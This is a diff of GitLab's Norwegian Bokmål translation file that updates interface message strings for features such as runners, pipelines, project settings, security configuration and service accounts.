msgid "NamespaceUserCap|Pending users must be reviewed and approved by a group owner. Learn more about %{user_caps_link_start}User Caps%{link_end} and %{users_pending_approval_link_start}Users Pending Approval%{link_end}."
msgstr ""
@@ -22770,9 +23122,6 @@ msgstr "Nettverkstrafikk"
msgid "NetworkPolicies|None selected"
msgstr "Ingen valgt"
-msgid "NetworkPolicies|Please %{installLinkStart}install%{installLinkEnd} and %{configureLinkStart}configure a Kubernetes Agent for this project%{configureLinkEnd} to enable alerts."
-msgstr ""
-
msgid "NetworkPolicies|Policy %{policyName} was successfully changed"
msgstr "%{policyName}-retningslinjen ble vellykket endret"
@@ -22797,6 +23146,9 @@ msgstr ""
msgid "NetworkPolicies|Something went wrong, unable to fetch policies"
msgstr ""
+msgid "NetworkPolicies|To enable alerts, %{installLinkStart}install an agent%{installLinkEnd} first."
+msgstr ""
+
msgid "NetworkPolicies|Traffic that does not match any rule will be blocked."
msgstr ""
@@ -23000,6 +23352,9 @@ msgstr "Ny fletteforespørsel"
msgid "New milestone"
msgstr "New milestone"
+msgid "New name"
+msgstr ""
+
msgid "New password"
msgstr "Nytt passord"
@@ -23036,6 +23391,9 @@ msgstr ""
msgid "New schedule"
msgstr "Ny tidsplan"
+msgid "New service account is generated for the selected Google Cloud project"
+msgstr ""
+
msgid "New snippet"
msgstr "Nytt utdrag"
@@ -23231,6 +23589,9 @@ msgstr "Ingen filer funnet."
msgid "No forks are available to you."
msgstr ""
+msgid "No group provided"
+msgstr ""
+
msgid "No grouping"
msgstr "Ingen gruppering"
@@ -23279,9 +23640,15 @@ msgstr "Ingen samsvarende resultater for \"%{query}\""
msgid "No matching results..."
msgstr "Ingen samsvarende resultater …"
+msgid "No member provided"
+msgstr ""
+
msgid "No members found"
msgstr "Ingen medlemmer ble funnet"
+msgid "No memberships found"
+msgstr ""
+
msgid "No merge requests found"
msgstr "Ingen fletteforespørsler ble funnet"
@@ -23324,6 +23691,9 @@ msgstr "Ingen profiler ble funnet"
msgid "No projects found"
msgstr "Ingen prosjekter ble funnet"
+msgid "No public deploy keys"
+msgstr ""
+
msgid "No public groups"
msgstr "Ingen offentlige grupper"
@@ -23345,6 +23715,9 @@ msgstr ""
msgid "No schedules"
msgstr "Ingen tidsplaner"
+msgid "No service accounts"
+msgstr ""
+
msgid "No severity matches the provided parameter"
msgstr ""
@@ -23440,6 +23813,9 @@ msgstr "Ikke tilgjengelig for beskyttede grener"
msgid "Not confidential"
msgstr "Ikke konfidensiell"
+msgid "Not found"
+msgstr ""
+
msgid "Not found."
msgstr "Ikke funnet."
@@ -23655,7 +24031,7 @@ msgstr ""
msgid "Nuget metadatum must have at least license_url, project_url or icon_url set"
msgstr ""
-msgid "Number of Elasticsearch shards and replicas (per index)"
+msgid "Number of Elasticsearch shards and replicas per index:"
msgstr ""
msgid "Number of Git pushes after which %{code_start}git gc%{code_end} is run."
@@ -23811,7 +24187,7 @@ msgstr ""
msgid "OnCallSchedules|For this rotation, on-call will be:"
msgstr ""
-msgid "OnCallSchedules|On-call schedule %{obstacle} in Project %{project}"
+msgid "OnCallSchedules|On-call schedule %{obstacle} in project %{project}"
msgstr ""
msgid "OnCallSchedules|On-call schedules"
@@ -23895,6 +24271,12 @@ msgstr ""
msgid "OnCallSchedules|Your schedule has been successfully created. To add individual users to this schedule, use the Add a rotation button. To enable notifications for this schedule, you must also create an %{linkStart}escalation policy%{linkEnd}."
msgstr ""
+msgid "OnDemandScans|%{learnMoreLinkStart}Learn more about on-demand scans%{learnMoreLinkEnd}."
+msgstr ""
+
+msgid "OnDemandScans|Could not fetch on-demand scans. Please refresh the page, or try again later."
+msgstr ""
+
msgid "OnDemandScans|Could not fetch scanner profiles. Please refresh the page, or try again later."
msgstr ""
@@ -23985,6 +24367,12 @@ msgstr ""
msgid "OnDemandScans|Target"
msgstr ""
+msgid "OnDemandScans|There are no finished scans."
+msgstr ""
+
+msgid "OnDemandScans|There are no running scans."
+msgstr ""
+
msgid "OnDemandScans|Use existing scanner profile"
msgstr ""
@@ -23994,12 +24382,6 @@ msgstr "Bruk eksisterende sideprofil"
msgid "OnDemandScans|You must create a repository within your project to run an on-demand scan."
msgstr ""
-msgid "Once a project is permanently deleted, it %{strongStart}cannot be recovered%{strongEnd}. Permanently deleting this project will %{strongStart}immediately delete%{strongEnd} its repositories and %{strongStart}all related resources%{strongEnd}, including issues, merge requests etc."
-msgstr ""
-
-msgid "Once a project is permanently deleted, it cannot be recovered. You will lose this project's repository and all related resources, including issues and merge requests."
-msgstr ""
-
msgid "Once imported, repositories can be mirrored over SSH. Read more %{link_start}here%{link_end}."
msgstr ""
@@ -24017,6 +24399,12 @@ msgid_plural "%d more items"
msgstr[0] "Én gjenstand til"
msgstr[1] "%d gjenstander til"
+msgid "One or more contacts were successfully added."
+msgstr ""
+
+msgid "One or more contacts were successfully removed."
+msgstr ""
+
msgid "One or more groups that you don't have access to."
msgstr "En eller flere grupper som du ikke har tilgang til."
@@ -24056,6 +24444,9 @@ msgstr "Bare administratorer kan slette prosjektet"
msgid "Only effective when remote storage is enabled. Set to 0 for no size limit."
msgstr ""
+msgid "Only enable search after installing the plugin, enabling indexing, and recreating the index."
+msgstr ""
+
msgid "Only include features new to your current subscription tier."
msgstr ""
@@ -24077,6 +24468,9 @@ msgstr ""
msgid "Only reCAPTCHA v2 is supported:"
msgstr ""
+msgid "Only use lowercase letters, numbers, and underscores."
+msgstr ""
+
msgid "Only users from the specified IP address ranges are able to reach this group, including all subgroups, projects, and Git repositories."
msgstr ""
@@ -24095,7 +24489,7 @@ msgstr "Ã…pen"
msgid "Open Selection"
msgstr ""
-msgid "Open a CLI and connect to the cluster you want to install the Agent in. Use this installation method to minimize any manual steps. The token is already included in the command."
+msgid "Open a CLI and connect to the cluster you want to install the agent in. Use this installation method to minimize any manual steps. The token is already included in the command."
msgstr ""
msgid "Open epics"
@@ -24335,6 +24729,9 @@ msgstr ""
msgid "Package type must be Maven"
msgstr "Pakketypen må være Maven"
+msgid "Package type must be NPM"
+msgstr ""
+
msgid "Package type must be NuGet"
msgstr "Pakketypen må være NuGet"
@@ -24691,6 +25088,9 @@ msgstr "Siden ble ikke funnet"
msgid "Page settings"
msgstr "Sideinnstillinger"
+msgid "Page size"
+msgstr ""
+
msgid "PagerDutySettings|Active"
msgstr "Aktiv"
@@ -24787,9 +25187,6 @@ msgstr ""
msgid "Password"
msgstr "Passord"
-msgid "Password (for password-protected Elasticsearch servers)"
-msgstr ""
-
msgid "Password (optional)"
msgstr "Passord (frivillig)"
@@ -25042,6 +25439,12 @@ msgstr "Rørledning %{label}"
msgid "Pipeline %{label} for \"%{dataTitle}\""
msgstr "Rørledning %{label} for «%{dataTitle}»"
+msgid "Pipeline Editor"
+msgstr ""
+
+msgid "Pipeline Editor|Are you sure you want to reset the file to its last committed version?"
+msgstr ""
+
msgid "Pipeline ID"
msgstr "Rørlednings-ID"
@@ -25357,9 +25760,6 @@ msgstr ""
msgid "Pipelines|More Information"
msgstr "Mer informasjon"
-msgid "Pipelines|No artifacts available"
-msgstr ""
-
msgid "Pipelines|No triggers have been created yet. Add one using the form above."
msgstr ""
@@ -25489,6 +25889,9 @@ msgstr ""
msgid "Pipeline|Created"
msgstr "Opprettet"
+msgid "Pipeline|Creating pipeline."
+msgstr ""
+
msgid "Pipeline|Date"
msgstr "Dato"
@@ -25504,9 +25907,6 @@ msgstr "Mislyktes"
msgid "Pipeline|In progress"
msgstr "Pågår"
-msgid "Pipeline|Key"
-msgstr "Nøkkel"
-
msgid "Pipeline|Manual"
msgstr "Manuelt"
@@ -25597,12 +25997,12 @@ msgstr ""
msgid "Pipeline|Triggerer"
msgstr ""
-msgid "Pipeline|Value"
-msgstr "Verdi"
-
msgid "Pipeline|Variables"
msgstr "Variabler"
+msgid "Pipeline|View commit"
+msgstr ""
+
msgid "Pipeline|View pipeline"
msgstr "Vis rørledning"
@@ -25741,6 +26141,9 @@ msgstr ""
msgid "Please enter a valid number"
msgstr "Vennligst skriv inn et gyldig nummer"
+msgid "Please enter a valid time interval"
+msgstr ""
+
msgid "Please enter or upload a valid license."
msgstr ""
@@ -25768,9 +26171,6 @@ msgstr ""
msgid "Please note that this application is not provided by GitLab and you should verify its authenticity before allowing access."
msgstr ""
-msgid "Please only enable search after installing the plugin, enabling indexing and recreating the index"
-msgstr ""
-
msgid "Please provide a name"
msgstr "Vennligst angi et navn"
@@ -26011,7 +26411,7 @@ msgstr "Trykk %{key}-C for å kopiere"
msgid "Prev"
msgstr "Forrige"
-msgid "Prevent adding new members to project membership within this group"
+msgid "Prevent adding new members to projects within this group"
msgstr ""
msgid "Prevent auto-stopping"
@@ -26293,8 +26693,8 @@ msgstr "Koble fra %{provider}"
msgid "Profiles|Do not show on profile"
msgstr "Vis ikke på profilen"
-msgid "Profiles|Don't display activity-related personal information on your profiles"
-msgstr "Ikke vis aktivitetsrelatert personlig informasjon på dine profiler"
+msgid "Profiles|Don't display activity-related personal information on your profile"
+msgstr ""
msgid "Profiles|Edit Profile"
msgstr "Rediger profil"
@@ -26314,15 +26714,15 @@ msgstr ""
msgid "Profiles|Enter your pronouns to let people know how to refer to you"
msgstr "Skriv inn pronomenene dine for å la folk vite hvordan de skal referere til deg"
+msgid "Profiles|Expiration date"
+msgstr ""
+
msgid "Profiles|Expired key is not valid."
msgstr ""
msgid "Profiles|Expired:"
msgstr "Utløpt:"
-msgid "Profiles|Expires at"
-msgstr "Utløper den"
-
msgid "Profiles|Expires:"
msgstr "Utløper:"
@@ -26362,13 +26762,16 @@ msgstr "Ugyldig brukernavn"
msgid "Profiles|Key"
msgstr "Nøkkel"
-msgid "Profiles|Key can still be used after expiration."
+msgid "Profiles|Key becomes invalid on this date."
msgstr ""
-msgid "Profiles|Key usable beyond expiration date."
+msgid "Profiles|Key becomes invalid on this date. Maximum lifetime for SSH keys is %{max_ssh_key_lifetime} days"
+msgstr ""
+
+msgid "Profiles|Key can still be used after expiration."
msgstr ""
-msgid "Profiles|Key will be deleted on this date."
+msgid "Profiles|Key usable beyond expiration date."
msgstr ""
msgid "Profiles|Last used:"
@@ -26698,9 +27101,6 @@ msgstr "Prosjektmilepæl"
msgid "Project name"
msgstr "Prosjektets navn"
-msgid "Project name suffix"
-msgstr ""
-
msgid "Project navigation"
msgstr "Prosjektnavigering"
@@ -26779,6 +27179,9 @@ msgstr "Stjernemerkere"
msgid "ProjectOverview|Unstar"
msgstr "Fjern stjernemerke"
+msgid "ProjectOverview|You don't have permission to fork this project"
+msgstr ""
+
msgid "ProjectOverview|You have reached your project limit"
msgstr "Du har nådd prosjektgrensen"
@@ -27046,12 +27449,18 @@ msgstr ""
msgid "ProjectSettings|Manages large files such as audio, video, and graphics files."
msgstr ""
+msgid "ProjectSettings|Maximum 500 characters."
+msgstr ""
+
msgid "ProjectSettings|Merge checks"
msgstr "Flettesjekker"
msgid "ProjectSettings|Merge commit"
msgstr "Innflettings-commit"
+msgid "ProjectSettings|Merge commit message template"
+msgstr ""
+
msgid "ProjectSettings|Merge commit with semi-linear history"
msgstr "Innflettings-commit med semi-lineær historikk"
@@ -27121,6 +27530,9 @@ msgstr "Krav"
msgid "ProjectSettings|Requirements management system."
msgstr ""
+msgid "ProjectSettings|Search for topic"
+msgstr ""
+
msgid "ProjectSettings|Security & Compliance"
msgstr "Sikkerhet og standarder"
@@ -27145,6 +27557,9 @@ msgstr "Rørledninger som hoppes over blir ansett som vellykkede"
msgid "ProjectSettings|Snippets"
msgstr "Utdrag"
+msgid "ProjectSettings|Squash commit message template"
+msgstr ""
+
msgid "ProjectSettings|Squash commits when merging"
msgstr ""
@@ -27166,6 +27581,12 @@ msgstr ""
msgid "ProjectSettings|The commit message used when applying merge request suggestions. %{link_start}Learn more about suggestions.%{link_end}"
msgstr ""
+msgid "ProjectSettings|The commit message used when merging, if the merge method creates a merge commit. %{link_start}Learn more about syntax and variables.%{link_end}"
+msgstr ""
+
+msgid "ProjectSettings|The commit message used when squashing commits. %{link_start}Learn more about syntax and variables.%{link_end}"
+msgstr ""
+
msgid "ProjectSettings|The default target project for merge requests created in this fork project."
msgstr ""
@@ -27370,6 +27791,9 @@ msgstr ""
msgid "Projects with no vulnerabilities and security scanning enabled"
msgstr ""
+msgid "Projects with this topic"
+msgstr ""
+
msgid "Projects with write access"
msgstr "Prosjekter med skrivetilgang"
@@ -27577,6 +28001,9 @@ msgstr "Forfrem"
msgid "Promote issue to an epic"
msgstr "Forfrem saken til en epos"
+msgid "Promote issue to incident"
+msgstr ""
+
msgid "Promote to epic"
msgstr "Forfrem til epos"
@@ -27595,9 +28022,15 @@ msgstr ""
msgid "Promoted issue to an epic."
msgstr "Forfremmet saken til en epos."
+msgid "Promotes issue to incident"
+msgstr ""
+
msgid "Promotion is not supported."
msgstr "Forfremming er ikke støttet."
+msgid "Promotions|Add %{link_start} description templates %{link_end} to help your contributors to communicate effectively!"
+msgstr ""
+
msgid "Promotions|Add Group Webhooks and GitLab Enterprise Edition."
msgstr "Legg til gruppe-Webhooks og GitLab Enterprise Edition."
@@ -27958,6 +28391,9 @@ msgstr ""
msgid "Public Access Help"
msgstr ""
+msgid "Public deploy keys"
+msgstr ""
+
msgid "Public deploy keys (%{deploy_keys_count})"
msgstr ""
@@ -28120,6 +28556,9 @@ msgstr "Se prosjektet %{project_full_name}"
msgid "PushoverService|Total commits count: %{total_commits_count}"
msgstr ""
+msgid "QualitySummary|Project quality"
+msgstr ""
+
msgid "Quarters"
msgstr "Kvartal"
@@ -28234,6 +28673,12 @@ msgstr ""
msgid "Recaptcha verified?"
msgstr ""
+msgid "Receive a $50 gift card as a thank you for your time."
+msgstr ""
+
+msgid "Receive a %{strongOpen}$50 gift card%{strongClose} as a thank you for your time."
+msgstr ""
+
msgid "Receive alerts from manually configured Prometheus servers."
msgstr ""
@@ -28335,9 +28780,6 @@ msgstr ""
msgid "Regex pattern"
msgstr "Regex-mønster"
-msgid "Region that Elasticsearch is configured"
-msgstr ""
-
msgid "Register"
msgstr "Register"
@@ -28505,6 +28947,9 @@ msgstr "Fjern %{displayReference}"
msgid "Remove Zoom meeting"
msgstr "Fjern Zoom-møte"
+msgid "Remove Zoom meeting."
+msgstr ""
+
msgid "Remove access"
msgstr "Fjern tilgang"
@@ -28532,6 +28977,9 @@ msgstr ""
msgid "Remove assignee"
msgstr "Fjern tilordnet"
+msgid "Remove attention request"
+msgstr ""
+
msgid "Remove avatar"
msgstr "Fjern avatar"
@@ -28541,6 +28989,12 @@ msgstr "Fjern kort"
msgid "Remove child epic from an epic"
msgstr ""
+msgid "Remove customer relation contact(s)."
+msgstr ""
+
+msgid "Remove customer relation contacts"
+msgstr ""
+
msgid "Remove deploy key"
msgstr ""
@@ -28658,15 +29112,15 @@ msgstr "Fjernet %{milestone_reference}-milepæl."
msgid "Removed %{reviewer_text} %{reviewer_references}."
msgstr ""
-msgid "Removed %{type} with id %{id}"
-msgstr "Fjernet %{type} med ID %{id}"
-
msgid "Removed all labels."
msgstr "Fjernet alle stempler."
msgid "Removed an issue from an epic."
msgstr "Fjernet en sak fra et epos."
+msgid "Removed attention request from @%{username}"
+msgstr ""
+
msgid "Removed group can not be restored!"
msgstr ""
@@ -28682,6 +29136,9 @@ msgstr "Fjernet måldatoen."
msgid "Removed time estimate."
msgstr "Fjernet tidsestimat."
+msgid "Removed upload with id %{id}"
+msgstr ""
+
msgid "RemovedProjects|Projects which are removed and are yet to be permanently removed are visible here."
msgstr ""
@@ -28751,6 +29208,9 @@ msgstr "Åpne på nytt"
msgid "Reopen %{issueType}"
msgstr "Gjenåpne %{issueType}"
+msgid "Reopen %{noteable}"
+msgstr ""
+
msgid "Reopen epic"
msgstr "Gjenåpne epos"
@@ -28775,6 +29235,9 @@ msgstr ""
msgid "Replace"
msgstr "Erstatt"
+msgid "Replace %{blob_name}"
+msgstr ""
+
msgid "Replace %{name}"
msgstr "Erstatt %{name}"
@@ -28954,6 +29417,9 @@ msgstr "Gjennomsnittlig dekning"
msgid "RepositoriesAnalytics|Average test coverage last 30 days"
msgstr ""
+msgid "RepositoriesAnalytics|Code Coverage: %{averageCoverage}"
+msgstr ""
+
msgid "RepositoriesAnalytics|Coverage"
msgstr "Dekning"
@@ -28975,6 +29441,9 @@ msgstr ""
msgid "RepositoriesAnalytics|Jobs with Coverage"
msgstr ""
+msgid "RepositoriesAnalytics|Jobs with Coverage: %{coverageCount}"
+msgstr ""
+
msgid "RepositoriesAnalytics|Last Update"
msgstr "Seneste oppdatering"
@@ -28993,6 +29462,9 @@ msgstr ""
msgid "RepositoriesAnalytics|Projects with Coverage"
msgstr ""
+msgid "RepositoriesAnalytics|Projects with Coverage: %{projectCount}"
+msgstr ""
+
msgid "RepositoriesAnalytics|Test Code Coverage"
msgstr ""
@@ -29071,8 +29543,8 @@ msgstr ""
msgid "Repository update events"
msgstr ""
-msgid "Repository: %{counter_repositories} / Wikis: %{counter_wikis} / Build Artifacts: %{counter_build_artifacts} / LFS: %{counter_lfs_objects} / Snippets: %{counter_snippets} / Packages: %{counter_packages} / Uploads: %{counter_uploads}"
-msgstr "Kodelager: %{counter_repositories} / Wikier: %{counter_wikis} / Byggartifakter: %{counter_build_artifacts} / LFS: %{counter_lfs_objects} / Utdrag: %{counter_snippets} / Pakker: %{counter_packages} / Opplastinger: %{counter_uploads}"
+msgid "Repository: %{counter_repositories} / Wikis: %{counter_wikis} / Build Artifacts: %{counter_build_artifacts} / Pipeline Artifacts: %{counter_pipeline_artifacts} / LFS: %{counter_lfs_objects} / Snippets: %{counter_snippets} / Packages: %{counter_packages} / Uploads: %{counter_uploads}"
+msgstr ""
msgid "RepositorySettingsAccessLevel|Select"
msgstr "Velg"
@@ -29086,6 +29558,12 @@ msgstr "Be om tilgang"
msgid "Request a new one"
msgstr "Be om en ny en"
+msgid "Request attention"
+msgstr ""
+
+msgid "Request attention to review"
+msgstr ""
+
msgid "Request details"
msgstr "Be om detaljer"
@@ -29107,6 +29585,9 @@ msgstr "Forespurt"
msgid "Requested %{time_ago}"
msgstr "Forespurt %{time_ago}"
+msgid "Requested attention from @%{username}"
+msgstr ""
+
msgid "Requested design version does not exist."
msgstr ""
@@ -29146,6 +29627,9 @@ msgstr "Nødvendige godkjenninger (%{approvals_given} gitt, som du har godkjent)
msgid "Required in this project."
msgstr "PÃ¥krevd i dette prosjektet."
+msgid "Required only if you are not using role instance credentials."
+msgstr ""
+
msgid "Requirement %{reference} has been added"
msgstr "Kravet %{reference} er lagt til"
@@ -29213,6 +29697,9 @@ msgstr "Tilbakestill autorisasjonsnøkkel"
msgid "Reset authorization key?"
msgstr "Vil du tilbakestille autoriseringsnøkkelen?"
+msgid "Reset file"
+msgstr ""
+
msgid "Reset filters"
msgstr "Tilbakestill filtre"
@@ -29529,6 +30016,9 @@ msgstr ""
msgid "Runners|Active"
msgstr "Aktiv"
+msgid "Runners|All"
+msgstr ""
+
msgid "Runners|Amazon Linux 2 Docker HA with manual scaling and optional scheduling. %{percentage} spot."
msgstr ""
@@ -29583,6 +30073,9 @@ msgstr ""
msgid "Runners|For each solution, you will choose a capacity. 1 enables warm HA through Auto Scaling group re-spawn. 2 enables hot HA because the service is available even when a node is lost. 3 or more enables hot HA and manual scaling of runner fleet."
msgstr ""
+msgid "Runners|Group"
+msgstr ""
+
msgid "Runners|Group Runners"
msgstr ""
@@ -29595,6 +30088,9 @@ msgstr ""
msgid "Runners|Install a runner"
msgstr ""
+msgid "Runners|Instance"
+msgstr ""
+
msgid "Runners|Last contact"
msgstr "Siste kontakt"
@@ -29616,6 +30112,9 @@ msgstr ""
msgid "Runners|New runner, has not connected yet"
msgstr ""
+msgid "Runners|No recent contact from this runner; last contact was %{timeAgo}"
+msgstr ""
+
msgid "Runners|Not available to run jobs"
msgstr ""
@@ -29628,12 +30127,18 @@ msgstr "Frakoblet"
msgid "Runners|Online"
msgstr "PÃ¥ nett"
+msgid "Runners|Online Runners"
+msgstr ""
+
msgid "Runners|Paused"
msgstr "Satt på pause"
msgid "Runners|Platform"
msgstr "Plattform"
+msgid "Runners|Project"
+msgstr ""
+
msgid "Runners|Property Name"
msgstr "Egenskapsnavn"
@@ -29667,6 +30172,9 @@ msgstr "Runner"
msgid "Runners|Runner #%{runner_id}"
msgstr ""
+msgid "Runners|Runner ID"
+msgstr ""
+
msgid "Runners|Runner assigned to project."
msgstr ""
@@ -29676,6 +30184,9 @@ msgstr ""
msgid "Runners|Runner is online, last contact was %{runner_contact} ago"
msgstr ""
+msgid "Runners|Runner is online; last contact was %{timeAgo}"
+msgstr ""
+
msgid "Runners|Runner is paused, last contact was %{runner_contact} ago"
msgstr ""
@@ -29706,12 +30217,18 @@ msgstr ""
msgid "Runners|Something went wrong while fetching the tags suggestions"
msgstr ""
+msgid "Runners|Status"
+msgstr ""
+
msgid "Runners|Stop the runner from accepting new jobs."
msgstr ""
msgid "Runners|Tags"
msgstr "Etiketter"
+msgid "Runners|This runner has never connected to this instance"
+msgstr ""
+
msgid "Runners|This runner is associated with one or more projects."
msgstr ""
@@ -29769,21 +30286,27 @@ msgstr ""
msgid "Runners|You have used %{quotaUsed} out of %{quotaLimit} of your shared Runners pipeline minutes."
msgstr ""
+msgid "Runners|active"
+msgstr ""
+
msgid "Runners|group"
msgstr "gruppe"
-msgid "Runners|instance"
-msgstr "instans"
-
msgid "Runners|locked"
msgstr "låst"
+msgid "Runners|not connected"
+msgstr ""
+
+msgid "Runners|offline"
+msgstr ""
+
+msgid "Runners|online"
+msgstr ""
+
msgid "Runners|paused"
msgstr "satt på pause"
-msgid "Runners|project"
-msgstr "prosjekt"
-
msgid "Runners|shared"
msgstr "delt"
@@ -29862,21 +30385,6 @@ msgstr "SSL-verifisering"
msgid "SVG illustration"
msgstr "SVG-illustrasjon"
-msgid "SastEntryPoints|Add Security Testing"
-msgstr "Legg til sikkerhetstesting"
-
-msgid "SastEntryPoints|Catch your security vulnerabilities ahead of time!"
-msgstr "Fang opp dine sikkerhetssårbarheter før de blir et problem!"
-
-msgid "SastEntryPoints|GitLab can scan your code for security vulnerabilities. Static Application Security Testing (SAST) helps you worry less and build more."
-msgstr "GitLab kan skanne koden din for sikkerhetssårbarheter. Statisk applikasjonssikkerhetstesting (SAST) hjelper deg med å bli mindre bekymret og bygge mer."
-
-msgid "SastEntryPoints|How do I set up SAST?"
-msgstr "Hvordan setter jeg opp SAST?"
-
-msgid "SastEntryPoints|Learn more"
-msgstr ""
-
msgid "Satisfied"
msgstr "Fornøyd"
@@ -30253,6 +30761,9 @@ msgstr "Hemmelig sjetong"
msgid "Secure token that identifies an external storage request."
msgstr ""
+msgid "SecureCodeWarrior"
+msgstr ""
+
msgid "Security"
msgstr "Sikkerhet"
@@ -30277,6 +30788,9 @@ msgstr ""
msgid "Security report is out of date. Run %{newPipelineLinkStart}a new pipeline%{newPipelineLinkEnd} for the target branch (%{targetBranchName})"
msgstr ""
+msgid "Security training with guide and learning pathways."
+msgstr ""
+
msgid "SecurityApprovals|A merge request approval is required when a security report contains a new vulnerability."
msgstr ""
@@ -30325,7 +30839,7 @@ msgstr ""
msgid "SecurityConfiguration|Available with Ultimate"
msgstr ""
-msgid "SecurityConfiguration|By default, all analyzers are applied in order to cover all languages across your project, and only run if the language is detected in the Merge Request."
+msgid "SecurityConfiguration|By default, all analyzers are applied in order to cover all languages across your project, and only run if the language is detected in the merge request."
msgstr ""
msgid "SecurityConfiguration|Compliance"
@@ -30340,7 +30854,7 @@ msgstr ""
msgid "SecurityConfiguration|Configure %{feature}"
msgstr "Konfigurer %{feature}"
-msgid "SecurityConfiguration|Configure via Merge Request"
+msgid "SecurityConfiguration|Configure with a merge request"
msgstr ""
msgid "SecurityConfiguration|Copy code and open .gitlab-ci.yml file"
@@ -30352,7 +30866,7 @@ msgstr ""
msgid "SecurityConfiguration|Could not retrieve configuration data. Please refresh the page, or try again later."
msgstr ""
-msgid "SecurityConfiguration|Create Merge Request"
+msgid "SecurityConfiguration|Create merge request"
msgstr ""
msgid "SecurityConfiguration|Customize common SAST settings to suit your requirements. Configuration changes made here override those provided by GitLab and are excluded from updates. For details of more advanced configuration options, see the %{linkStart}GitLab SAST documentation%{linkEnd}."
@@ -30412,6 +30926,9 @@ msgstr ""
msgid "SecurityConfiguration|Security testing"
msgstr ""
+msgid "SecurityConfiguration|Security training"
+msgstr ""
+
msgid "SecurityConfiguration|The status of the tools only applies to the default branch and is based on the %{linkStart}latest pipeline%{linkEnd}."
msgstr ""
@@ -30421,6 +30938,9 @@ msgstr ""
msgid "SecurityConfiguration|Using custom settings. You won't receive automatic updates on this variable. %{anchorStart}Restore to default%{anchorEnd}"
msgstr ""
+msgid "SecurityConfiguration|Vulnerability Management"
+msgstr ""
+
msgid "SecurityConfiguration|Vulnerability details and statistics in the merge request"
msgstr ""
@@ -30445,6 +30965,12 @@ msgstr "Alle retningslinjer"
msgid "SecurityOrchestration|An error occurred assigning your security policy project"
msgstr ""
+msgid "SecurityOrchestration|An error occurred unassigning your security policy project"
+msgstr ""
+
+msgid "SecurityOrchestration|Choose a project"
+msgstr ""
+
msgid "SecurityOrchestration|Description"
msgstr "Beskrivelse"
@@ -30514,7 +31040,10 @@ msgstr ""
msgid "SecurityOrchestration|Scan execution policies can only be created by project owners."
msgstr ""
-msgid "SecurityOrchestration|Scan to be performed every %{cadence} on the %{branches}"
+msgid "SecurityOrchestration|Scan to be performed %{cadence}"
+msgstr ""
+
+msgid "SecurityOrchestration|Scan to be performed %{cadence} on the %{branches}"
msgstr ""
msgid "SecurityOrchestration|Scan to be performed on every pipeline on the %{branches}"
@@ -30523,6 +31052,9 @@ msgstr ""
msgid "SecurityOrchestration|Security policy project was linked successfully"
msgstr ""
+msgid "SecurityOrchestration|Security policy project was unlinked successfully"
+msgstr ""
+
msgid "SecurityOrchestration|Select a project to store your security policies in. %{linkStart}More information.%{linkEnd}"
msgstr ""
@@ -30544,6 +31076,12 @@ msgstr ""
msgid "SecurityOrchestration|To widen your search, change filters above or select a different security policy project."
msgstr ""
+msgid "SecurityOrchestration|Unlink project"
+msgstr ""
+
+msgid "SecurityOrchestration|Unlinking a security project removes all policies stored in the linked security project. Save to confirm this action."
+msgstr ""
+
msgid "SecurityOrchestration|Update scan execution policies"
msgstr ""
@@ -30763,7 +31301,7 @@ msgstr "Status"
msgid "SecurityReports|Take survey"
msgstr "Ta undersøkelse"
-msgid "SecurityReports|The Vulnerability Report shows the results of the lastest successful pipeline on your project's default branch, as well as vulnerabilities from your latest container scan. %{linkStart}Learn more.%{linkEnd}"
+msgid "SecurityReports|The Vulnerability Report shows the results of the latest successful pipeline on your project's default branch, as well as vulnerabilities from your latest container scan. %{linkStart}Learn more.%{linkEnd}"
msgstr ""
msgid "SecurityReports|The security reports below contain one or more vulnerability findings that could not be parsed and were not recorded. Download the artifacts in the job output to investigate. Ensure any security report created conforms to the relevant %{helpPageLinkStart}JSON schema%{helpPageLinkEnd}."
@@ -30796,6 +31334,9 @@ msgstr ""
msgid "SecurityReports|There was an error while generating the report."
msgstr "En feil oppstod under generering av rapporten."
+msgid "SecurityReports|These vulnerabilities were detected in external sources. They are not necessarily tied to your GitLab project. For example, running containers, URLs, and so on."
+msgstr ""
+
msgid "SecurityReports|To widen your search, change or remove filters above"
msgstr ""
@@ -30934,6 +31475,9 @@ msgstr "Velg en iterasjon"
msgid "Select assignee"
msgstr "Velg tilordnet"
+msgid "Select assignee(s)"
+msgstr ""
+
msgid "Select branch"
msgstr "Velg gren"
@@ -31138,9 +31682,6 @@ msgstr "Sentry-hendelse"
msgid "Sep"
msgstr "Sep"
-msgid "Separate topics with commas."
-msgstr ""
-
msgid "September"
msgstr "September"
@@ -31240,7 +31781,16 @@ msgstr ""
msgid "Service"
msgstr "Tjeneste"
-msgid "Service Accounts keys are required to authorize GitLab to deploy your Google Cloud project."
+msgid "Service Account"
+msgstr ""
+
+msgid "Service Account Key"
+msgstr ""
+
+msgid "Service Accounts"
+msgstr ""
+
+msgid "Service Accounts keys authorize GitLab to deploy your Google Cloud project"
msgstr ""
msgid "Service Desk"
@@ -31252,6 +31802,9 @@ msgstr "Tjenestedesken lar folk opprette saksrapporter i din GitLab-forekomst ut
msgid "Service URL"
msgstr "Tjeneste-URL"
+msgid "Service account generated successfully"
+msgstr ""
+
msgid "Service ping is disabled in your configuration file, and cannot be enabled through this form."
msgstr ""
@@ -31297,6 +31850,9 @@ msgstr ""
msgid "ServicePing|Turn on service ping to review instance-level analytics."
msgstr ""
+msgid "Services"
+msgstr ""
+
msgid "Session ID"
msgstr "Økt-ID"
@@ -31378,6 +31934,9 @@ msgstr "Sett måldatoen til %{due_date}."
msgid "Set the iteration to %{iteration_reference}."
msgstr "Sett iterasjonen til %{iteration_reference}."
+msgid "Set the maximum number of slices allowed to run concurrently during Elasticsearch reindexing. Learn more about %{max_slices_running_link_start}maximum running slices configuration%{max_slices_link_end}."
+msgstr ""
+
msgid "Set the maximum session time for a web terminal."
msgstr ""
@@ -31435,9 +31994,6 @@ msgstr "Sett vektlegging til %{weight}."
msgid "Set what should be replicated by this secondary site."
msgstr ""
-msgid "SetPasswordToCloneLink|set a password"
-msgstr "bestem et passord"
-
msgid "SetStatusModal|Add status emoji"
msgstr "Legg til status-emoji"
@@ -31512,9 +32068,6 @@ msgid_plural "Settings saved successfully"
msgstr[0] ""
msgstr[1] ""
-msgid "Setting this to 0 means using the system default timeout value."
-msgstr ""
-
msgid "Settings"
msgstr "Alternativer"
@@ -31581,6 +32134,27 @@ msgstr ""
msgid "Sherlock Transactions"
msgstr ""
+msgid "Shimo|Go to Shimo Workspace"
+msgstr ""
+
+msgid "Shimo|Link to a Shimo Workspace from the sidebar."
+msgstr ""
+
+msgid "Shimo|Shimo"
+msgstr ""
